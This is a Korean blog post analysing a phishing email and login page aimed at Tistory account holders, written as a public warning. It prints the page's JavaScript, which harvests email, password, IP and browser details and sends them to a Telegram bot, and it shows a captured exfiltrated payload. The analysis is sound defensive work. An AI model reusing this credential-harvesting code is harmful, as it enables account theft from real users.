티스토리(tistory) 블로그 계정을 노린 피싱메일 주의

안녕하세요 처리의 블로그입니다.

오늘은 국민 블로그인 티스토리 블로그의 계정을 노리는 피싱메일을 지인으로부터 전달받아 간략하게 공유하고자 합니다.

해당 메일은 2025년 2월 17일에 수신된 메일이며, *****@tistory.com에 대한 최종 비밀번호 만료 알림 제목으로 전달되었습니다

피싱 메일 메인

본문내용은 그냥 계정 제한이 되니 동일한 비밀번호로 계속하기 위해 클릭을 유도하고 있습니다.

계정 알림 업데이트 

귀하의 계정 *****@tistory.com 업데이트가 필요합니다
2/17/2025 4:31:07 a.m.
계정은 48시간 후에 제한됩니다.
이에 따라 기록을 업데이트해 주시기 바랍니다.
동일한 비밀번호로 계속하려면 아래 버튼을 클릭하세요.

동일한 비밀번호로 계속하기

사용자가 메일내부에 있는 링크를 클릭하면 아래와 같은 피싱페이지로 이동하게 되는데, 재미있는 부분이 외부 프레임은 피싱페이지로 꾸며놓고, 내부 프레임만 실제 티스토리 로그인 사이트를 불러와 보여주고 있습니다.

티스토리 로그인 피싱 사이트

아래가 실제 티스토리 메인 로그인 화면인데 배경색 때문에 달라져 보이지만, 실제로 같은 내용이란 걸 알 수 있습니다.

정상 티스토리 로그인 사이트

중요한 건 이 코드인데 보통 피싱 사이트에서 개인정보를 수집하는 방법은 ajax post 나 php 서버에 전달하는 방식을 사용하는 이 피싱 사이트는 텔레그램 bot을 이용하여 자신의 방에 정보를 수집하고 있었습니다. 수집하는 정보는 "email, passwrod, ip, date, time, user agent"이고 마지막에 "Designed by Nwamama7"라는 자신을 나타나는 문자열을 전송하고 있습니다.

async function sendInfoToTelegram() {
        const email = document.getElementById('email-text').textContent;
        const password = passwordInput.value;
        const { formattedDate, formattedTime } = getFormattedDateAndTime();
        const userAgent = navigator.userAgent;

        await fetchUserIp();

        const message = `
Email: ${email}
Password: ${password}
IP: ${userIp}\n
Date: ${formattedDate}
Time: ${formattedTime}
User Agent: ${userAgent}\n
Designed by Nwamama7
        `;

        const telegramToken = '766****613:*****pjwBKrYBwNL3****TGSW9GXAltfSn8'; 
        const chatId = '72313*****'; 
        const apiUrl = `https://api.telegram.org/bot${telegramToken}/sendMessage`;

        const payload = {
            chat_id: chatId,
            text: message,
            parse_mode: 'HTML'
        };

실제 나간 정보를 보면, chat_id에 text 형식으로 위에 있던 개인정보들을 전달된 내용을 볼 수 있습니다.

{
  "chat_id": "72313*****",
  "text": "\nEmail: ******@tistory.com\nPassword: 1q2w3e4r\nIP: 119.196.**.***\n\nDate: 19 February, 2025\nTime: 22:32:39\nUser Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\n\nDesigned by Nwamama7\n        ",
  "parse_mode": "HTML"
}